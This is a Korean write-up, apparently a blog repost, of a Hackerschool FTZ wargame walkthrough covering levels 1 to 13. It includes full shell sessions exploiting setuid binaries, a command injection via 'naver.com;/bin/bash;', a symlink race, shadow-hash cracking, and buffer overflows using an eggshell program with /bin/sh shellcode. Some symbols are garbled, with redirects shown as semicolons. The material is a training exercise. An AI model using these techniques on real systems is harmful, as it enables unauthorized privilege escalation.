Security

Dump of hackerschool wargamez – 03. 7. 17

  • jroh

군대 제대하고 풀었던 문제들이네요. 지금은 문제풀이가 많이 바뀌었겠지만 기본 개념은 거기서 거기일듯. 여튼 2012년도에 2003년 문서를 보니 감회가 새롭네요~ writer : ttongfly@realskulls.org2003. 7. 17 homepage : http://ttongfly.realskulls.org wargamez URL : telnet://ftz.hackerschool.org

레벨 :: 1

[level1@ftz level1]$ cat hint

level2 권한에 setuid가 걸린 파일을 찾는다.

[level1@ftz level1]$

[level1@ftz level1]$ find / -perm -4000 -user level2 2;/dev/null

 /bin/ExcuteMe

[level1@ftz level1]$ /bin/ExcuteMe

레벨2의 권한으로 당신이 원하는 명령어를 한가지 실행시켜 드리겠습니다. (단, my-pass 와 chmod는 제외) 어떤 명령을 실행시키겠습니까?

[level2@ftz level2]$ bash;

[level2@ftz level2]$ my-pass

Level2 Password is “hacker or cracker”.

[level2@ftz level2]$

레벨 :: 2

[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데…

[level2@ftz level2]$

[level2@ftz level2]$ find / -user level3 -perm -4000 2;/dev/null

 /usr/bin/editor

[level2@ftz level2]$ dir -al /usr/bin/editor

 -rwsr-s—1 level3 level213621 Oct 272002 /usr/bin/editor

[level2@ftz level2]$ /usr/bin/editor

~

 ~

 ~VIM – Vi IMproved

 ~

 ~ version 6.1

 ~ by Bram Moolenaar et al.

 ~ Vim is open source and freely distributable

 ~

 ~Help poor children in Uganda!

 ~type:help iccf;Enter; for information

 ~

 ~type:q;Enter; to exit

 ~type:help;Enter;or;F1;for on-line help

 ~type:help version6;Enter; for version info

 ~

 ~

 ~

 :!bash

 [level3@ftz level2]$ id

 uid=3003(level3) gid=3002(level2) groups=3002(level2)

[level3@ftz level2]$ my-pass

Level3 Password is “can you fly?”.

[level3@ftz level2]$

레벨 :: 3

[level3@ftz level3]$ cat hint

다음 코드는 autodig의 소스이다.

#include ;stdio.h;

 #include ;stdlib.h;

 #include ;unistd.h;

int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( “Auto Digger Version 0.9\\n” ); printf( “Usage : %s host\\n”, argv[0] ); exit(0); } strcpy( cmd, “dig @” ); strcat( cmd, argv[1] ); strcat( cmd, ” version.bind chaos txt”); system( cmd ); } 이를 이용하여 level4의 권한을 얻어라. more hints. – 동시에 여러 명령어를 사용하려면? – 문자열 형태로 명령어를 전달하려면?

[level3@ftz level3]$

[level3@ftz level3]$ find / -name autodig 2;/dev/null

 /bin/autodig

[level3@ftz level3]$ dir -al /bin/autodig

 -rwsr-s—1 level4 level314172 Oct 272002 /bin/autodig

[level3@ftz level3]$ /bin/autodig “naver.com;/bin/bash;”

 dig: Couldn\’t find server \’naver.com\’: Name or service not known

[level4@ftz level3]$ id

 uid=3004(level4) gid=3003(level3) groups=3003(level3)

[level4@ftz level3]$ my-pass

Level4 Password is “suck my brain”.

[level4@ftz level3]$

레벨 :: 4

[level4@ftz level4]$ cat hint

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

[level4@ftz level4]$

[level4@ftz level4]$ cd /etc/xinetd.d

[level4@ftz xinetd.d]$ dir -al

 total 60

 drwxr-xr-x2 root root 4096 Apr 29 14:38 .

 drwxr-xr-x 51 root root 4096 Jul 12 19:41 ..

 -rw-r–r–1 root root171 Mar 28 22:49 backdoor

 -rw-r–r–1 root root295 Mar 28 22:49 chargen

 -rw-r–r–1 root root315 Mar 28 22:49 chargen-udp

 -rw-r–r–1 root root295 Mar 28 22:49 daytime

 -rw-r–r–1 root root315 Mar 28 22:49 daytime-udp

 -rw-r–r–1 root root287 Mar 28 22:49 echo

 -rw-r–r–1 root root306 Mar 28 22:49 echo-udp

 -rw-r–r–1 root root312 Mar 28 22:49 servers

 -rw-r–r–1 root root310 Mar 28 22:49 services

 -rw-r–r–1 root root406 Mar 28 22:49 sgi_fam

 -rw-r–r–1 root root302 Mar 28 22:49 telnet

 -rw-r–r–1 root root319 Mar 28 22:49 time

 -rw-r–r–1 root root315 Mar 28 22:49 time-udp

[level4@ftz xinetd.d]$ cat backdoor

 service finger

 {

 disable = no

 flags = REUSE

 socket_type = stream

 wait= no

 user= level5

 server= /home/level4/tmp/backdoor

 log_on_failure+= USERID

 }

 [level4@ftz xinetd.d]$ cd /home/level4/tmp

[level4@ftz tmp]$ dir

 backdoor

[level4@ftz tmp]$ cat backdoor

 #! /bin/my-pass

[level4@ftz tmp]$ finger @localhost

 ^[[H^[[J

 Level5 Password is “what is your name?”.

[level4@ftz tmp]$

finger 포트는 79번이므로 79번 포트로 다른 호스트에서 원격으로 접속해도 가능하다

레벨 :: 5 (Race Condition)

[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에 level5.tmp 라는 이름의 임시파일을 생성한다. 이를 이용하여 level6의 권한을 얻어라.

[level5@ftz level5]$

[level5@ftz tmp]$ cat ; exp1.c

 #include ;stdio.h;

 #include ;stdlib.h;

 #include ;unistd.h;

int main() { int i; for (i=0;i;=100000;i++) { system (“rm -rf /tmp/level5.tmp”); system (“ln -s/home/level5/tmp/pass.txt /tmp/level5.tmp”); } }

[level5@ftz tmp]$ cat ; exp2.c

 #include ;stdio.h;

 #include ;stdlib.h;

 #include ;unistd.h;

int main() { int i; for (i=0;i;=100000;i++) { system(“/usr/bin/level5”); } }

[level5@ftz tmp]$ cat ; pass.txt

 dsjflksdjflksdjflksjdklf

[level5@ftz tmp]$ ./exp2 &

 [7] 1247

[level5@ftz tmp]$ ./exp1

[8]+Stopped ./exp1

[level5@ftz tmp]$ dir

 exp1exp1.cexp2exp2.cpass.txt

[level5@ftz tmp]$ cat pass.txt

 next password : what the hell

[level5@ftz tmp]$

레벨 :: 6

hint – 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다. Control + C

[level6@ftz level6]$

[level6@ftz level6]$ dir

 hintpasswordpublic_htmltmptn

[level6@ftz level6]$ cat password

 Level7 password is “come together”.

[level6@ftz level6]$

레벨 :: 7

[level7@ftz level7]$ cat hint

/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다. 1. 패스워드는 가까운곳에.. 2. 상상력을 총동원하라. 3. 2진수를 10진수를 바꿀 수 있는가? 4. 계산기 설정을 공학용으로 바꾸어라.

[level7@ftz level7]$

[level7@ftz level7]$ /bin/level7

 Insert The Password : hihihi

 올바르지 않은 패스워드 입니다.

 패스워드는 가까운곳에…

 –_–_- –____- —_-__ –__-_-

[level7@ftz level7]$

–_–_- –____- —_-__ –__-_- Binary : 1101101110000111101001100101 Decimal : 109 97 116 101 Hex : 6D 61 74 65

[level7@ftz level7]$ perl -e \’print “\\x6d\\x61\\x74\\x65\\n”\’

 mate

[level7@ftz level7]$ /bin/level7

 Insert The Password : mate

Congratulation! next password is “break the world”.

[level7@ftz level7]$

레벨 :: 8

[level8@ftz level8]$ cat hint

level9의 shadow 파일이 서버 어딘가에 숨어있다. 그 파일에 대해 알려진 것은 용량이 “1481”이라는 것 뿐이다.

[level8@ftz level8]$

[level8@ftz level8]$ find / -group level8 -size 1481c 2;/dev/null

 /etc/rc.d/found.txt

[level8@ftz level8]$ cat /etc/rc.d/found.txt

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

 [level8@ftz level8]$

해커스쿨에서는 wget으로 파일을 다운 받을수 없게 설정이 되어 있어, 도스용 존더리퍼를 다운받아서 쉐도우 패스워드 크랙에 사용했음 http://packetstormsecurity.nl/Crackers/john-16d.zip 다운로드 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\Documents and Settings\\Admin;e: E:\\;cd john* E:\\JOHN-16;cd run E:\\JOHN-16\\RUN;copy con shadow.txt level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 ^Z 1개 파일이 복사되었습니다. E:\\JOHN-16\\RUN;john shadow.txt Loaded 1 password (FreeBSD MD5 [32/32]) apple(level9) guesses: 1time: 0:00:00:01 100% (2)c/s: 2673trying: apple E:\\JOHN-16\\RUN;

레벨 :: 9

[level9@ftz level9]$ cat hint

다음은 /usr/bin/bof의 소스이다.

#include ;stdio.h;

 #include ;stdlib.h;

 #include ;unistd.h;

main(){ char buf2[10]; char buf[10]; printf(“It can be overflow : “); fgets(buf,40,stdin); if ( strncmp(buf2, “go”, 2) == 0 ) { printf(“Good Skill!\\n”); setreuid( 3010, 3010 ); system(“/bin/bash”); } } 이를 이용하여 level10의 권한을 얻어라.

[level9@ftz level9]$

[level9@ftz level9]$ gcc -v

 Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs

 gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)

스택의 구조가 [buf][buf2][sfp][ret] 이렇게 될것이라 예상이 되지만

 gcc 2.96버젼부터는 16배수 단위로 변수할당을 하기 시작함

다시말해 스택의 구조가 [buf][buf2][dummy 6bytez][sfp][ret] 이렇게 구성됨 buf에서 buf2까지 10bytes + dummy 6bytes + sfp 2bytes = ret BBBBBBBBBB(buf값) + BBBBBB (dummy값) + go(sfp) = ret

[level9@ftz level9]$ /usr/bin/bof

 It can be overflow : BBBBBBBBBBBBBBBBgo

 Good Skill!

[level10@ftz level9]$ id

 uid=3010(level10) gid=3009(level9) groups=3009(level9)

[level10@ftz level9]$ my-pass

Level10 Password is “interesting to hack!”.

[level10@ftz level9]$

레벨 :: 10

[level10@ftz level10]$ cat hint

두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다. 그 대화방은 공유 메모리를 이용하여 만들어졌으며, key_t의 값은 7530, 대화를 나눌 때 사용하는 변수명은 text라고 한다. 이를 이용해 두 사람의 대화를 도청하여 hall의 권한을 얻어라. – 레벨을 완료하셨다면 소스는 지우고 나가주세요.

[level10@ftz level10]$

[level10@ftz tmp]$ cat ; a.c

 #include ;sys/types.h;

 #include ;sys/ipc.h;

 #include ;sys/shm.h;

 #include ;stdio.h;

 int main(void)

 {

 int shmid;

 char *sham;

shmid = shmget(7530,1000,0666); // shmget : 새로운 메시지 큐를 만들거나 존재하는 큐에 접근하기위해 사용됨 // PROTOTYPE: int shmget ( key_t key, int size, int shmflg ); sham = shmat(shmid, NULL, 0); // shmat : 메모리 영역이 나타날 가상 주소를 지정 // PROTOTYPE: int shmat ( int shmid, char *shmaddr, int shmflg); printf(“sham(내용)은 : \\n%s”, sham); shmdt(sham);

}

 [level10@ftz tmp]$ gcc -o a a.c

[level10@ftz tmp]$ ./a

 sham(내용)은 :

 멍멍: level11의 패스워드는?

 구타: what!@#$?

[level10@ftz tmp]$

레벨 :: 11

[level11@ftz level11]$ cat hint

#include ;stdio.h;

 #include ;stdlib.h;

int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); }

[level11@ftz level11]$

[level11@ftz level11]$ dir -al

 total 96

 drwxr-xr-x4 root level114096 Mar 18 22:34 .

 drwxr-xr-x 51 root root 4096 Jul 17 01:34 ..

 -rwsr-x—1 level12level11 13733 Mar7 22:21 attackme

 -rw——-1 root root 40 Mar 18 22:44 .bash_history

 -rw-r–r–1 root level1124 Feb 232002 .bash_logout

 -rw-r–r–1 root level11 224 Feb 232002 .bash_profile

 -rw-r–r–1 root level11 151 Feb 232002 .bashrc

 -rw-r–r–1 root level11 400 Jan 241999 .cshrc

 -rw-r–r–1 root level114742 Jan 241999 .emacs

 -r–r–r–1 root level11 319 Jan 241999 .gtkrc

 -rw-r–r–1 root level11 100 Jan 241999 .gvimrc

 -rw-r—–1 root level11 168 Mar7 22:23 hint

 -rw-r–r–1 root level11 226 Jan 241999 .muttrc

 -rw-r–r–1 root level11 367 Jan 241999 .profile

 drwxr-xr-x2 root level114096 Feb 232002 public_html

 drwxrwxr-x3 root level114096 Jul 17 10:52 tmp

 -rw-r–r–1 root root1 May72002 .viminfo

 -rw-r–r–1 root level114145 Jan 241999 .vimrc

 -rw-r–r–1 root level11 245 Jan 241999 .Xdefaults

[level11@ftz level11]$ ./attackme

 Segmentation fault

[level11@ftz level11]$ gdb ./attackme

 GNU gdb Red Hat Linux (5.1.90CVS-5)

 Copyright 2002 Free Software Foundation, Inc.

 GDB is free software, covered by the GNU General Public License, and you are

 welcome to change it and/or distribute copies of it under certain conditions.

 Type “show copying” to see the conditions.

 There is absolutely no warranty for GDB.Type “show warranty” for details.

 This GDB was configured as “i386-redhat-linux”…

 (gdb) disassemble main

 Dump of assembler code for function main:

 0x8048470 ;main;: push %ebp

 0x8048471 ;main+1;: mov%esp,%ebp

 0x8048473 ;main+3;: sub$0x108,%esp

 0x8048479 ;main+9;: sub$0x8,%esp

 0x804847c ;main+12;:push $0xc14

 0x8048481 ;main+17;:push $0xc14

 0x8048486 ;main+22;:call 0x804834c ;setreuid;

 0x804848b ;main+27;:add$0x10,%esp

 0x804848e ;main+30;:sub$0x8,%esp
 0x8048491 ;main+33;:mov0xc(%ebp),%eax

 0x8048494 ;main+36;:add$0x4,%eax

 0x8048497 ;main+39;:pushl(%eax)

 0x8048499 ;main+41;:lea0xfffffef8(%ebp),%eax

 0x804849f ;main+47;:push %eax

 0x80484a0 ;main+48;:call 0x804835c ;strcpy;

 0x80484a5 ;main+53;:add$0x10,%esp

 0x80484a8 ;main+56;:sub$0xc,%esp

 0x80484ab ;main+59;:lea0xfffffef8(%ebp),%eax

 0x80484b1 ;main+65;:push %eax

 0x80484b2 ;main+66;:call 0x804833c ;printf;

 0x80484b7 ;main+71;:add$0x10,%esp

 0x80484ba ;main+74;:leave

 0x80484bb ;main+75;:ret

 0x80484bc ;main+76;:nop

 0x80484bd ;main+77;:nop

 0x80484be ;main+78;:nop

 0x80484bf ;main+79;:nop

 End of assembler dump.

 (gdb) quit

[level11@ftz level11]$ cd tmp

[level11@ftz tmp]$ cat ; egg.c

 /* eggshell.c */

 #include ;stdlib.h;

#define DEFAULT_OFFSET 0

 #define DEFAULT_BUFFER_SIZE 512

 #define DEFAULT_EGG_SIZE 2048

 #define NOP 0x90

char shellcode[] = “\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46” “\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89” “\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68” “\\x00\\xc9\\xc3\\x90/bin/sh”; unsigned long get_esp(void) { __asm__(“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc ; 1) bsize = atoi(argv[1]); if (argc ; 2) offset = atoi(argv[2]); if (argc ; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } if (!(egg = malloc(eggsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } addr = get_esp() – offset; printf(“Using address: 0x%x\\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i ; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++) *(ptr++) = NOP; for(i = 0; i ; strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize – 1] = \’\\0\’; egg[eggsize – 1] = \’\\0\’; memcpy(egg,”EGG=”,4); putenv(egg); memcpy(buff,”RET=”,4); putenv(buff); system(“/bin/bash”); }

[level11@ftz tmp]$ gcc -o egg egg.c

[level11@ftz tmp]$ cd ..

[level11@ftz level11]$ ./tmp/egg

 Using address: 0xbffffac8

[level11@ftz level11]$ ./attackme `perl -e \’print “\\xc8\\xfa\\xff\\xbf”x100\’`

sh-2.05a$ id

 uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05a$ my-pass TERM environment variable not set. Level12 Password is “it is like this”.

sh-2.05a$

레벨 :: 12

[level12@ftz level12]$ cat hint

#include ;stdio.h;

 #include ;stdlib.h;

 #include ;unistd.h;

int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( “문장을 입력하세요.\\n” ); gets( str ); printf( “%s\\n”, str ); }

[level12@ftz level12]$

[level12@ftz level12]$ dir -al

 total 96

 drwxr-xr-x4 root level124096 Mar 18 22:44 .

 drwxr-xr-x 51 root root 4096 Jul 17 01:34 ..

 -rwsr-x—1 level13level12 13771 Mar7 22:24 attackme

 -rw——-1 root root 16 Mar 18 22:44 .bash_history

 -rw-r–r–1 root level1224 Feb 232002 .bash_logout

 -rw-r–r–1 root level12 224 Feb 232002 .bash_profile

 -rw-r–r–1 root level12 151 Feb 232002 .bashrc

 -rw-r–r–1 root level12 400 Jan 241999 .cshrc

 -rw-r–r–1 root level124742 Jan 241999 .emacs

 -r–r–r–1 root level12 319 Jan 241999 .gtkrc

 -rw-r–r–1 root level12 100 Jan 241999 .gvimrc

 -rw-r—–1 root level12 204 Mar7 22:24 hint

 -rw-r–r–1 root level12 226 Jan 241999 .muttrc

 -rw-r–r–1 root level12 367 Jan 241999 .profile

 drwxr-xr-x2 root level124096 Feb 232002 public_html

 drwxrwxr-x2 root level124096 Jul 16 20:01 tmp

 -rw-r–r–1 root root1 May72002 .viminfo

 -rw-r–r–1 root level124145 Jan 241999 .vimrc

 -rw-r–r–1 root level12 245 Jan 241999 .Xdefaults

[level12@ftz level12]$ ./attackme

 문장을 입력하세요.

 aaa

 aaa

 [level12@ftz level12]$ cd tmp

[level12@ftz tmp]$ cat ; egg.c

level11의 egg.c 랑 같은 소스

[level12@ftz tmp]$ gcc -o egg egg.c

[level12@ftz level12]$ ./tmp/egg

 Using address: 0xbffffae8

[level12@ftz level12]$ (printf “`perl -e \’print “a”x268\’`\\xe8\\xfa\\xff\\xbf”;cat)|./attackme

 문장을 입력하세요.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa橈?

id

 uid=3093(level13) gid=3092(level12) groups=3092(level12)

[level12@ftz level12]$ (printf “`perl -e \’print “a”x268\’`\\xe8\\xfa\\xff\\xbf”;cat)|./attackme

 문장을 입력하세요.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa橈?

id

 uid=3093(level13) gid=3092(level12) groups=3092(level12)

 my-pass

 TERM environment variable not set.

Level13 Password is “have no clue”.

[level12@ftz level12]$

자 소스를 보면 buf[256]으로 되어 있다. 그렇다면 [buf256]+[$ebp4]+[ret] 이기 때문에 260의 쓰레기값을 던지고 egg쉘의 주소를 넣어주어야 할텐데 왜 268을 넣었을까.

[level12@ftz level12]$ gcc -v

 Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs

 gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)

gcc 2.96부터는 ret값 계산시 buf값보다 같거나 큰 16의 배수값 더하기 dummy 8bytez 더하기 $ebp의 값

 다음에 ret값이 오게 된다.

[buf보다 큰 16의 배수값]+[dummy 8bytez]+[$ebp 4bytez]+[ret] 이와같은 메모리 구조를 갖게 된다. 따라서 이 문제의 경우 [buf256]+[dummy 8]+[$ebp 4] = 268 이 된다.. 그리하여 buffer overflow 시켜 ret값을 변경하기 위해서는 쓰레기값을 268개 넣어주어야 하는 것이다.

레벨 :: 13 (Stack Guard)

[level13@ftz level13]$ cat hint

#include ;stdlib.h;

main(int argc, char *argv[])

 {

 long i=0x1234567;

 char buf[1024];

setreuid( 3094, 3094 ); if(argc ; 1) strcpy(buf,argv[1]);

if(i != 0x1234567) {

 printf(” Warnning: Buffer Overflow !!! \\n”);

 kill(0,11);

 }

 }

[level13@ftz level13]$

[level13@ftz level13]$ dir -al

 total 96

 drwxr-xr-x4 root level134096 Mar 18 22:44 .

 drwxr-xr-x 51 root root 4096 Jul 17 01:34 ..

 -rwsr-x—1 level14level13 13953 Mar7 22:32 attackme

 -rw——-1 root root 16 Mar 18 22:44 .bash_history

 -rw-r–r–1 root level1324 Feb 232002 .bash_logout

 -rw-r–r–1 root level13 224 Feb 232002 .bash_profile

 -rw-r–r–1 root level13 151 Feb 232002 .bashrc

 -rw-r–r–1 root level13 400 Jan 241999 .cshrc

 -rw-r–r–1 root level134742 Jan 241999 .emacs

 -r–r–r–1 root level13 319 Jan 241999 .gtkrc

 -rw-r–r–1 root level13 100 Jan 241999 .gvimrc

 -rw-r—–1 root level13 258 Mar7 22:32 hint

 -rw-r–r–1 root level13 226 Jan 241999 .muttrc

 -rw-r–r–1 root level13 367 Jan 241999 .profile

 drwxr-xr-x2 root level134096 Feb 232002 public_html

 drwxrwxr-x2 root level134096 Jul 18 11:11 tmp

 -rw-r–r–1 root root1 May72002 .viminfo

 -rw-r–r–1 root level134145 Jan 241999 .vimrc

 -rw-r–r–1 root level13 245 Jan 241999 .Xdefaults

[level13@ftz level13]$ ./attackme

[level13@ftz level13]$ cd tmp

[level13@ftz tmp]$ cat ; egg.c

레벨 11의 egg.c 소스 작성

[level13@ftz tmp]$ gcc -o egg egg.c

[level13@ftz tmp]$ cd ..

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1300\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1200\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1100\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1030\’`

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1050\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1040\’`

 Warnning: Buffer Overflow !!!

Segmentation fault

 [level13@ftz level13]$ ./attackme `perl -e \’print “a”x1035\’`

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1037\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1036\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1035\’`

 [level13@ftz level13]$

스택가드가 시작되는 부분은 1036번쨰 부터이다. 1035까지 쓰레기값을 넣어준다음에 1036부터 1040까지 스택가드를 보호해준 후에 다시 ret값을 변조하면 된다.

[level13@ftz level13]$ cd tmp

[level13@ftz tmp]$ cat ; sdump.c

 #include ;stdlib.h;

 #include ;dumpcode.h;

main(int argc, char *argv[])

 {

 long i=0x1234567;

 char buf[1024];

setreuid( 3094, 3094 ); if(argc ; 1) strcpy(buf,argv[1]);

if(i != 0x1234567) {

 printf(” Warnning: Buffer Overflow !!! \\n”);

 kill(0,11);

 dumpcode(buf,1040);

 }

 }

[level13@ftz tmp]$ gcc -o sdump sdump.c

 [level13@ftz tmp]$ ./sdump `perl -e \’print “a”x1036\’`

 Warnning: Buffer Overflow !!!

 Segmentation fault

[level13@ftz tmp]$ ./sdump `perl -e \’print “a”x1035\’`

0xbffff2d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff2e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff2f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff30061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff31061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff32061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff33061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff34061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff35061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff36061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff37061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff38061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff39061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff3a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff3b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff3c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff3d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff3e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff3f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff40061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
 0xbffff41061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff42061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff43061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff44061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff45061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff46061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff47061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff48061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff49061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

 0xbffff4a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa

